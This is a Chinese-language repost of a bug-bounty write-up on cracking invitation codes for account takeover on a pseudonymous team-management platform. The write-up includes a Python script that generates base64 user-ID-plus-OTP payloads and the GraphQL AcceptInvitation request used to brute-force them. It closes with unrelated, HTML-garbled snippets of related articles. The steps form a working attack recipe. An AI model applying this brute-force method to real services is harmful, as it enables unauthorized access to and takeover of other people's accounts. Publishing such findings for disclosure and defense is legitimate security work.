【网络安全】破解邀请码实现未经授权的访问和账户接管

未经许可,不得转载。

文章目录

    • 前言
    • 1、邀请用户
    • 2、低级账户访问
    • 3、提取用户 ID 和 OTP
    • 4、准备字典
    • 5、攻击
    • 6、账户接管

前言

ExampleSpark(化名)是一个专为团队管理和项目协作而设计的强大平台。它提供了用于管理用户、项目和权限的综合工具。

1、邀请用户

1.1、登录 ExampleSpark 上的管理员帐户。
1.2、导航到团队管理部分。
1.3、邀请用户,这将生成一个邀请链接,其中包含带有用户 ID 的 base64 编码令牌和 7 位 OTP(一次性密码)。

2、低级账户访问

2.1、登录 ExampleSpark 上的低级别帐户。

3、提取用户 ID 和 OTP

3.1、转到团队管理部分并选择受邀用户。
3.2、从 URL 中提取用户 ID https://app.examplespark.com/users/User:<user_id>。例如018dee9c-a9be-04f8-0000-fb5b23eef4d2

4、准备字典

4.1、字典格式为:userid的base64编码+7位otpcode(例如MDE4ZGVlOWMtYTliZS0wNGY4LTAwMDAtZmI1YjIzZWVmNGQyO39426NQ)。

在这里插入图片描述

4.2、生成包含7 位随机字母数字的OPT,将每个组合转换为base64编码。

代码如下:

import random
import base64def generate_otp():# Generate a random 7-digit alphanumeric OTPcharacters = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ"otp = ''.join(random.choice(characters) for i in range(7))return otpdef convert_to_base64(data):# Convert the data to base64data_bytes = data.encode('utf-8')base64_encoded = base64.b64encode(data_bytes).decode('utf-8')return base64_encoded# Constant user ID
user_id = "018dee9c-a9be-04f8-0000-fb5b23eef4d2"# Number of OTPs to generate (updated to 1000)
num_otps = 1000# Generate payloads and create a list
payload_list = []for _ in range(num_otps):otp = generate_otp()payload = f"{user_id}:{otp}"base64_payload = convert_to_base64(payload)payload_list.append(base64_payload)# Print the generated payloads and their base64 representations
for i, payload in enumerate(payload_list, start=1):print(f"Payload {i}: {payload}")

在这里插入图片描述

5、攻击

接收邀请的请求包如下

POST /graphql/frontend?n=AcceptInvitation HTTP/2
Host: app.examplespark.com
Cookie: [session cookies]
Content-Length: 616
Sec-Ch-Ua: "Not A;Brand";v="99", "Chromium";v="100", "Google Chrome";v="100"
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
Content-Type: application/json
Accept: */*
X-Graphql-Operation: AcceptInvitation
Sec-Ch-Ua-Platform: "Linux"
Origin: https://app.examplespark.com
Referer: https://app.examplespark.com/invitations/MDE4ZGVkZWUtZWZiZS0wNGY4LTAwMDAtN2I4YWRmZDAwYjQ1OjAxMzI2NQ
{"operationName":"AcceptInvitation","variables":{"invitation_key":"","name":"","password":""},"query":"mutation AcceptInvitation($invitation_key: String!, $name: String!, $password: String!) {\n  accept_invitation(\n    input: {invitation_key: $invitation_key, name: $name, password: $password}\n  ) {\n    account_id\n    user {\n      id\n      status\n      ...AuthUserLogin\n      __typename\n    }\n    __typename\n  }\n}\n\nfragment AuthUserLogin on User {\n  id\n  email\n  display_name\n  session_valid_until\n  __typename\n}"}

选择invitation_key参数,添加字典并开始攻击。

6、账户接管

响应为 200 OK 状态、长度为 1142时表示成功接受邀请。

攻击者可以接受邀请并获得未经授权的访问权限,并可能根据受邀用户的角色提升权限。

原文出处:
https://medium.com/bugbountywriteup/500-for-cracking-invitation-code-for-unauthorized-access-account-takeover-558c663fb947

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/bicheng/51785.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【Python中OGR和GDAL有什么区别】

OGR和GDAL在地理信息系统&#xff08;GIS&#xff09;和遥感领域都扮演着重要角色&#xff0c;但它们在功能和处理的数据类型上有所不同。以下是OGR和GDAL的主要区别&#xff1a; 一、定义与功能 GDAL&#xff08;Geospatial Data Abstraction Library&#xff09; 定义&#…

docker部署本地词向量模型

开源项目&#xff1a;GitHub - huggingface/text-embeddings-inference: A blazing fast inference solution for text embeddings models 1. 下载词向量模型 参考我的另一篇博客&#xff1a;langchain 加载本地词向量模型 2. 部署词向量模型 就三行命令 model/data/BAAI/…

【华视电子CVR100A】 身份证读取与酒店收银系统源码整合:CyberWinApp-SAAS 本地化及未来之窗行业应用跨平台架构

一、酒店系统连接身份证阅读器好处 在开房界面&#xff0c;点击读取身份证&#xff0c;可以自动读取姓名&#xff0c;性别&#xff0c;地址&#xff0c;身份证号码 1. 提高办理入住效率 - 传统的手动输入身份证信息繁琐且容易出错&#xff0c;一键读取能够快速准确地获取客人身…

机器学习算法——常规算法,在同的业务场景也需要使用不同的算法(一)

&#x1f468;‍&#x1f4bb;个人主页&#xff1a;开发者-曼亿点 &#x1f468;‍&#x1f4bb; hallo 欢迎 点赞&#x1f44d; 收藏⭐ 留言&#x1f4dd; 加关注✅! &#x1f468;‍&#x1f4bb; 本文由 曼亿点 原创 &#x1f468;‍&#x1f4bb; 收录于专栏&#xff1a…

苏州大学学报(哲学社会科学版)

《苏州大学学报&#xff08;哲学社会科学版&#xff09;》是苏州大学主办的综合性哲学社会科学类学术期刊&#xff0c;创刊于1906年&#xff0c;是我国高等学校第一本学报。逾百年以来&#xff0c;学报始终坚持正确舆论导向&#xff0c;追踪理论前沿&#xff0c;聚焦学术热点&a…

【C语言报错已解决】Format String Vulnerability

&#x1f3ac; 鸽芷咕&#xff1a;个人主页 &#x1f525; 个人专栏: 《C干货基地》《粉丝福利》 ⛺️生活的理想&#xff0c;就是为了理想的生活! 引言 在日常开发中&#xff0c;我们经常会遇到各种各样的bug&#xff0c;其中格式化字符串漏洞报错可能是最让人头疼的一种。这…

基于SpringBoot+Vue的地方美食分享网站(带1w+文档)

基于SpringBootVue的地方美食分享网站(带1w文档) 人类的进步带动信息化的发展&#xff0c;使人们生活节奏越来越快&#xff0c;所以人们越来越重视信息的时效性。以往的管理方式已经满足不了人们对获得信息的方式、方便快捷的需求。即地方美食分享网站慢慢的被人们关注。 项目简…

Redis集群启动步骤

前提&#xff1a;处理好配置文件。 一、通过配置文件启动三个Redis实例。 执行命令&#xff1a;redis-server /opt/redis/cluster/16381/16381.conf 二、因为 Redis 集群至少需要 3 个主节点。所以这三个都是主节点&#xff0c;暂不考虑从节点。 创建一个包含 3 个主节点的…

java RestClientBuilder es 集群 鉴权

在Java中使用RestClientBuilder连接到Elasticsearch集群并进行鉴权&#xff0c;可以通过设置HttpHosts、RequestConfig以及添加相应的Header来实现。 以下是一个示例代码&#xff1a; import org.apache.http.Header; import org.apache.http.HttpHost; import org.apache.htt…

全网最适合入门的面向对象编程教程:27 类和对象的Python实现-Python中异常层级与自定义异常类的实现

全网最适合入门的面向对象编程教程&#xff1a;27 类和对象的 Python 实现-Python 中异常层级与自定义异常类的实现 摘要&#xff1a; 本文主要介绍了在使用 Python 进行面向对象编程时&#xff0c;异常的层级和如何使用继承关系完成自定义自己项目中异常类&#xff0c;并以传…

麒麟v10安装mysql5.7(ARM架构)

下载路径&#xff1a;华为云镜像 麒麟v10是潮流时代的新时髦的linux操作系统&#xff0c;但随着ARM架构流行&#xff0c;出现了一些卡点&#xff0c;不以为然&#xff0c;没当回事的大吃一惊。经常卡住。例如: 在安装mysql5.7&#xff08;ARM架构&#xff09; 最简单&#xf…

刷题了:144.二叉树的前序遍历心|145.二叉树的后序遍历心|94.二叉树的中序遍历己

递归遍历 文章讲解:https://programmercarl.com/%E4%BA%8C%E5%8F%89%E6%A0%91%E7%9A%84%E9%80%92%E5%BD%92%E9%81%8D%E5%8E%86.html#%E6%80%9D%E8%B7%AF 视频讲解:https://www.bilibili.com/video/BV1Wh411S7xt/?spm_id_from333.788&vd_sourcee70917aa6392827d1ccc8d85e1…

【Websim.ai】一句话让AI帮你生成一个网页

【Websim.ai】一句话让AI帮你生成一个网页 网站链接 websim.ai 简介 websim.ai接入了Claude Sonnet 3.5&#xff0c;GPT-4o等常用的LLM&#xff0c;只需要在websim.ai的官网指令栏中编写相关指令&#xff0c;有点类似大模型的Prompt&#xff0c;指令的好坏决定了网页生成的…

全网最全robotframework自动化测试环境搭建

一、前言 1、在2019年之前&#xff0c;robotframework-ride的版本一直是1.5.2.1&#xff0c;是2016年1月份的版本&#xff0c;只能安装在python2.7的环境上&#xff0c;导致如果想同时使用robotframework做测试且又需要python3环境编写python代码的小伙伴都需要在操作系统上安…

Open3D 计算去质心后的点云

目录 一、概述 1.1原理 1.2实现步骤 二、代码实现 2.1关键函数 2.2完整代码 三、实现效果 3.1原始点云 3.2处理后点云 Open3D点云算法汇总及实战案例汇总的目录地址&#xff1a; Open3D点云算法与点云深度学习案例汇总&#xff08;长期更新&#xff09;-CSDN博客 一、…

linux运维脚本编写

目录 步骤1 系统基本信息的检查 步骤2 文件系统和磁盘信息的检查 步骤3 内存、cpu、进程信息的检查 1、内存信息检查 2、cpu信息检查 3、进程信息检查 步骤4 其他脚本 正文部分✌ 步骤1 系统基本信息的检查 巡检脚本 步骤2 文件系统和磁盘信息的检查 具体实现的shell脚本如…

轻松实现远程智能交互:OriginBot与钉钉和GPT4o的集成指南

说明 我之前实现了简单UI来跟OriginBot交互&#xff0c;可以参考这里&#xff1a;古月居 - ROS机器人知识分享社区 但是由于我不是专业的前端开发&#xff0c;写UI还是比较耗时的&#xff0c;所以最近想修改一下这部分。 还有一个原因是&#xff0c;自己开发前端&#xff0c…

【嵌入式】前言

如今已经很少有产品不涉及到嵌入式&#xff0c;而把这种产品称为嵌入式系统的产品 嵌入式系统的特点就是软件、硬件可以裁切。 嵌入式未来发展趋势&#xff0c;网络化、节能化和智能化。 中国是嵌入式行业中重要的制造者和消费者&#xff0c;但我国还是有很多发展问题&#xf…

JAVA小白学习日记Day10

1.线程锁 使用Runnable接口和Lambda表达式&#xff1a; 在 EasyThreadA 类的 mainA 方法中&#xff0c;通过创建 Runnable 实例 run&#xff0c;并使用Lambda表达式。 EasyThreadA::method 绑定到 run 上。然后创建两个线程 a 和 b&#xff0c;分别启动它们&#xff0c;它们会…

NebulaGraph图数据库使用教程

一、NebulaGraph 是什么&#xff1f; NebulaGraph 是一款开源的图数据库&#xff0c;擅长处理千亿个顶点和万亿条边的超大规模数据集。 NebulaGraph 社区已成长为一个荟聚了众多用户、融合了各类图技术场景实践知识的活跃开源社区。你可以在其中与大家共同交流 NebulaGraph 周…